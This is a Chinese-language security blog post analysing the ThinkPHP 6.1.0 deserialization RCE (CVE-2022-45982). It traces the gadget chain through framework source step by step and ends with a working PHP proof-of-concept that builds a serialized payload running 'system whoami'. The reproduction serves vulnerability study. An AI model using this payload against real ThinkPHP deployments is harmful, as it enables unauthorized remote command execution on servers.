freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

thinkphp6.1.0反序列化RCE分析复现
2023-03-08 17:04:13
所属地 西藏

小白入门php反序列化做一个tp6.1.0的RCE漏洞复现,网上找了很久都没有相关的分析资料,于是自己跟着POC一步步分析,文章写得有点乱,有些错误的地方请师傅们指正

漏洞编号:CVE-2022-45982

漏洞分析

与之前版本的链条一样从Model开始

寻找__destruct 定位到vendor\topthink\think-orm\src\Model.php

public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }

由于Model是个抽象类,所以得找个继承它的子类,这里可以用Pivot

发现lazySave参数是可控的可以进入save()

跟进save()

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->get      = [];
        $this->lazySave = false;

        return true;
    }

发现这条语句

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

但是要进入这条语句需要过了前面的if判断

跟进isEmpty()

public function isEmpty(): bool
    {
        return empty($this->data);
    }

只要$this->data不为空即可,还需要$this->trigger('BeforeWrite') == true

跟进$this->trigger()

protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
            return true;
        }
        ......
    }

只要withEvent为false就可以回到三目运算符

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

分别进入updateData()或者insertData()寻找可以利用的地方

跟进updateData()

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

根据POC这里的利用点是

$this->autoRelationUpdate();

所以要过三条if,第一条if已经过了,第二条需要令$data为空,第三条只要relationWrite非空,而此变量是可控的

要让$data为空,那就需要跟进getChangedData()

public function getChangedData(): array
    {
        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
        });

        // 只读字段不允许更新
        foreach ($this->readonly as $key => $field) {
            if (array_key_exists($field, $data)) {
                unset($data[$field]);
            }
        }

        return $data;
    }

发现后面有个unset(),所以想办法利用这个unset()即可

先看前半段,$force=false所以会调用array_udiff_assoc对$this->data, $this->origin比较然后返回差集$this->origin可以为空让array_udiff_assoc返回1和data数组.

再看后面的foreach,通过遍历readonly并且用其值作为键删除$data的元素,那么可以构造例如

$data = ['a' => 'b']; $readonly = ['a'];来让$data变为空

跟进autoRelationUpdate()

protected function autoRelationUpdate(): void
    {
        foreach ($this->relationWrite as $name => $val) {
            if ($val instanceof Model) {
                $val->exists(true)->save();
            } else {
                $model = $this->getRelation($name, true);

                if ($model instanceof Model) {
                    $model->exists(true)->save($val);
                }
            }
        }
    }

foreach遍历relationWrite的键值对,这里得进带参数的save($val),所以relationWrite的键值得满足!instanceof Model,跟进getRelation()

public function getRelation(string $name = null, bool $auto = false)
    {
        if (is_null($name)) {
            return $this->relation;
        }

        if (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        } elseif ($auto) {
            $relation = Str::camel($name);
            return $this->getRelationValue($relation);
        }
    }

第一个和第二个if的区别是返回值以及有没有$name,因为无论如何返回值$model得是个Model的子类对象才能过instanceof,这样一来relation数组不能直接返回,而要返回里面的元素

$name不能为null,也就是说relationWrite一定是键值对的形式,而且relation.key = relationWrite.key

暂时确认relation和relationWrite的形式= [key => value]

回到autoRelationUpdate(),instanceof过了后exists()是设置 Pivot->exists = true不用管再次进入save($val)

$val也就是relationWrite的键值作为参数$data传入跟进setAttrs()

public function setAttrs(array $data): void
    {
        // 进行数据处理
        foreach ($data as $key => $value) {
            $this->setAttr($key, $value, $data);
        }
    }

发现$val得是个array并且后面有个foreach遍历那么relationWrite的形式可能是relationWrite = [key => [key => value]]

进入setAttr(),发现key作为name传入那么确认relationWrite的形式如上述。

public function setAttr(string $name, $value, array $data = []): void
    {
        $name = $this->getRealFieldName($name);

        // 检测修改器
        $method = 'set' . Str::studly($name) . 'Attr';

        if (method_exists($this, $method)) {
            $array = $this->data;

            $value = $this->$method($value, array_merge($this->data, $data));

            if (is_null($value) && $array !== $this->data) {
                return;
            }
        } elseif (isset($this->type[$name])) {
            // 类型转换
            $value = $this->writeTransform($value, $this->type[$name]);
        } elseif ($this->isRelationAttr($name)) {
            $this->relation[$name] = $value;
        } elseif ((array_key_exists($name, $this->origin) || empty($this->origin)) && is_object($value) && method_exists($value, '__toString')) {
            // 对象类型
            $value = $value->__toString();
        }

        // 设置数据对象属性
        $this->data[$name] = $value;
        unset($this->get[$name]);
    }

可以看见下边有个__toString()并且$value参数是我们传入的$data->$value,而$data = $val, $val=relationWrite->$value,所以relationWrite的键值是可以触发__toString()的对象

所以$relationWrite = [$str => [$str] => Obj]

这里的$name只要是个简单字符就可以绕到最后一个else if判断条件,但是要记得跟realation.key保持一直。

getRealFieldName()对$name进行驼峰转下划线处理

studly()同理对$name进行下划线转驼峰(首字母大写),例如字符'n'变成了'N',跟'set'和'Attr'拼接后变成了$method

method_exists检测方法在类中是否存在

isset检查type[$name],默认$type = []

进入下个elseif里的isRelationAttr()

protected function isRelationAttr(string $attr)
    {
        $relation = Str::camel($attr);

        if ((method_exists($this, $relation) && !method_exists('think\Model', $relation)) || isset(static::$macro[static::class][$relation])) {
            return $relation;
        }

        return false;
    }

这个函数的作用是检查属性是否为关联属性 如果是则返回关联方法名。

Str::camel($attr):下划线转驼峰(首字母小写)

然后看下面的判断,$name同样可以绕过这个if

返回到

elseif ((array_key_exists($name, $this->origin) || empty($this->origin)) && is_object($value) && method_exists($value, '__toString')) {
            // 对象类型
            $value = $value->__toString();
        }

再来看这个elseif,要想过关有两条路

要么$name的值得是origin的key,也就是说$origin是个键值对并且origin.key = relationwrite.key

要么origin为空,两者经验证都可以。

此时要找一个class里面有__toString

而之前参考的链里面Url就有__toString,跟进到vendor\topthink\framework\src\think\route\Url.php

public function __toString()
    {
        return $this->build();
    }

再跟进到build(),$this->app->request是必须的否则会抛异常,所以POC不能忘记准备个app类

public function build()
    {
        // 解析URL
        $url     = $this->url;
        $suffix  = $this->suffix;
        $domain  = $this->domain;
        $request = $this->app->request;
        $vars    = $this->vars;

        if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
            // [name] 表示使用路由命名标识生成URL
            $name = substr($url, 1, $pos - 1);
            $url  = 'name' . substr($url, $pos + 1);
        }

        if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
            $info = parse_url($url);
            $url  = !empty($info['path']) ? $info['path'] : '';

            if (isset($info['fragment'])) {
                // 解析锚点
                $anchor = $info['fragment'];

                if (false !== strpos($anchor, '?')) {
                    // 解析参数
                    [$anchor, $info['query']] = explode('?', $anchor, 2);
                }

                if (false !== strpos($anchor, '@')) {
                    // 解析域名
                    [$anchor, $domain] = explode('@', $anchor, 2);
                }
            } elseif (strpos($url, '@') && false === strpos($url, '\\')) {
                // 解析域名
                [$url, $domain] = explode('@', $url, 2);
            }
        }

        if ($url) {
            $checkName   = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : '');
            $checkDomain = $domain && is_string($domain) ? $domain : null;

            $rule = $this->route->getName($checkName, $checkDomain);

            if (empty($rule) && isset($info['query'])) {
                $rule = $this->route->getName($url, $checkDomain);
                // 解析地址里面参数 合并到vars
                parse_str($info['query'], $params);
                $vars = array_merge($params, $vars);
                unset($info['query']);
            }
        }

        if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
            // 匹配路由命名标识
            $url = $match[0];

            if ($domain && !empty($match[1])) {
                $domain = $match[1];
            }

            if (!is_null($match[2])) {
                $suffix = $match[2];
            }
        } elseif (!empty($rule) && isset($name)) {
            throw new \InvalidArgumentException('route name not exists:' . $name);
        } else {
            // 检测URL绑定
            $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);

            if ($bind && 0 === strpos($url, $bind)) {
                $url = substr($url, strlen($bind) + 1);
            } else {
                $binds = $this->route->getBind();

                foreach ($binds as $key => $val) {
                    if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) {
                        $url    = substr($url, strlen($val) + 1);
                        $domain = $key;
                        break;
                    }
                }
            }

            // 路由标识不存在 直接解析
            $url = $this->parseUrl($url, $domain);

            if (isset($info['query'])) {
                // 解析地址里面参数 合并到vars
                parse_str($info['query'], $params);
                $vars = array_merge($params, $vars);
            }
        }

        // 还原URL分隔符
        $depr = $this->route->config('pathinfo_depr');
        $url  = str_replace('/', $depr, $url);

        $file = $request->baseFile();
        if ($file && 0 !== strpos($request->url(), $file)) {
            $file = str_replace('\\', '/', dirname($file));
        }

        $url = rtrim($file, '/') . '/' . $url;

        // URL后缀
        if ('/' == substr($url, -1) || '' == $url) {
            $suffix = '';
        } else {
            $suffix = $this->parseSuffix($suffix);
        }

        // 锚点
        $anchor = !empty($anchor) ? '#' . $anchor : '';

        // 参数组装
        if (!empty($vars)) {
            // 添加参数
            if ($this->route->config('url_common_param')) {
                $vars = http_build_query($vars);
                $url .= $suffix . ($vars ? '?' . $vars : '') . $anchor;
            } else {
                foreach ($vars as $var => $val) {
                    $val = (string) $val;
                    if ('' !== $val) {
                        $url .= $depr . $var . $depr . urlencode($val);
                    }
                }

                $url .= $suffix . $anchor;
            }
        } else {
            $url .= $suffix . $anchor;
        }

        // 检测域名
        $domain = $this->parseDomain($url, $domain);

        // URL组装
        return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/');
    }

这个函数里面很多参数都是可控的,在build方法里面存在这样两条条语句

$rule = $this->route->getName($checkName, $checkDomain);
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);

和之前版本的链子一样,这里联想一下看看可不可以用__call,因为第二个的参数都是可控的所以选择第二个。

寻找可用的call方法,这里选择的是vendor\topthink\framework\src\think\log\Channel.php

跟进__call,getDomainBind()跟$domain被传进来

public function __call($method, $parameters)
    {
        $this->log($method, ...$parameters);
    }

再跟进log, $level = getDomainBind $message = $domain

public function log($level, $message, array $context = [])
  {
    $this->record($message, $level, $context);
  }

再跟进record,$msg=domain type=getDomainBind

public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
    {
        if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
            return $this;
        }

        if (is_string($msg) && !empty($context)) {
            $replace = [];
            foreach ($context as $key => $val) {
                $replace['{' . $key . '}'] = $val;
            }

            $msg = strtr($msg, $replace);
        }

        if (!empty($msg) || 0 === $msg) {
            $this->log[$type][] = $msg;
            if ($this->event) {
                $this->event->trigger(new LogRecord($type, $msg));
            }
        }

        if (!$this->lazy || !$lazy) {
            $this->save();
        }

        return $this;
    }

因为$lazy=true所以最终会走到save()函数,log数组里面保存了domain getDomainBind

跟进channel的save()

public function save(): bool
    {
        $log = $this->log;
        if ($this->event) {
            $event = new LogWrite($this->name, $log);
            $this->event->trigger($event);
            $log = $event->log;
        }

        if ($this->logger->save($log)) {
            $this->clear();
            return true;
        }

        return false;
    }

$this->event默认false所以会走到$this->logger->save($log),$logger是可控的,所以可以找一个可利用的save函数

找到vendor\topthink\framework\src\think\session\Store.php

跟进save()

public function save(): void
    {
        $this->clearFlashData();

        $sessionId = $this->getId();

        if (!empty($this->data)) {
            $data = $this->serialize($this->data);

            $this->handler->write($sessionId, $data);
        } else {
            $this->handler->delete($sessionId);
        }

        $this->init = false;
    }

这里的利用点是

$data = $this->serialize($this->data);

$data又是可控的,所以跟进serialize()

protected function serialize($data): string
    {
        $serialize = $this->serialize[0] ?? 'serialize';

        return $serialize($data);
    }
$serialize = $this->serialize[0] ?? 'serialize';

相当于

$serialize = isset($this->serialize[0]) ? $this->serialize[0] : 'serialize';

$serialize是可控的,所以我们可以给他个'call_user_func'

所以$serialize($data)就会变成call_user_func($data),但是只有一个$data参没法直接system whoami,不过可以借用其他类的方法。

所以$data的构造得是$data = [obj, 'func_name']

POC使用的是Request下的param(),找到vendor\topthink\framework\src\think\Request.php

跟进param()

public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (is_array($name)) {
            return $this->only($name, $this->param, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里的点在下面的input函数,所以要令$mergeParam=true $name=非array , 前一个参数是可控的,后一个默认是''

return $this->input($this->param, $name, $default, $filter);

跟进input,参数有四个

public function input(array $data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                [$name, $type] = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        $data = $this->filterData($data, $filter, $name, $default);

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

由于传进来的name='',前两个if直接跳过进入filterData(),param[]也变成了data[]

protected function filterData($data, $filter, $name, $default)
    {
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        return $data;
    }

先跟进getFilter

protected function getFilter($filter, $default): array
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

发现这里对filter做了处理,filter为null转换成空数组,如果是string进行切分再转化成数组,最后再把$default加入这个数组。

回到filterData(),因为data确实是个数组所以会进入第一个if执行array_walk_recursive(),这个函数会对$data数组的每个元素执行filterValue方法,$filter作为函数参数,那么跟进一下filterValue()

public function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                if (is_null($value)) {
                    continue;
                }

                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (is_string($filter) && false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

在这儿发现了终点call_user_func(),并且参数$filter, $value是可控的,我们可以构造$filter = "system"传入通过filterData添加的$default可以通过array_pop弹出,然后foreach取出"system",而value可以通过构造$param = ["whoami"]传入,array_walk_recursive会将数组里唯一的"whoami"取出,最终通过call_user_func执行system whoami,到此这个链条就结束了。

POC

<?php

namespace think {
    abstract class Model
    {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        protected $relationWrite;
        private $relation;
        private $origin = [];

        public function __construct($value)
        {
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' =>
                ["n" => $value]
            ];
        }
    }

    class App
    {
        protected $request;
    }

    class Request
    {
        protected $mergeParam = true;
        protected $param = ["whoami"];
        protected $filter = "system";
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think\route {

    use think\App;

    class Url
    {
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;

        public function __construct($route)
        {
            $this->route = $route;
            $this->app = new App();
        }
    }
}

namespace think\log {
    class Channel
    {
        protected $lazy = false;
        protected $logger;
        protected $log = [];

        public function __construct($logger)
        {
            $this->logger = $logger;
        }
    }
}

namespace think\session {
    class Store
    {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";

        public function __construct($data)
        {
            $this->data = [$data, "param"];
        }
    }
}

namespace {
    $request = new think\Request();         //  param
    $store = new think\session\Store($request);     // save
    $channel = new think\log\Channel($store);     // __call
    $url = new think\route\Url($channel);   // __toString
    $model = new think\model\Pivot($url);   // __destruct
    echo urlencode(serialize($model));
}

测试图
image

参考资料

Thinkphp6.0.9反序列化复现及整合 - 先知社区 (aliyun.com)

CVE-2022-45982 · GitHub

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者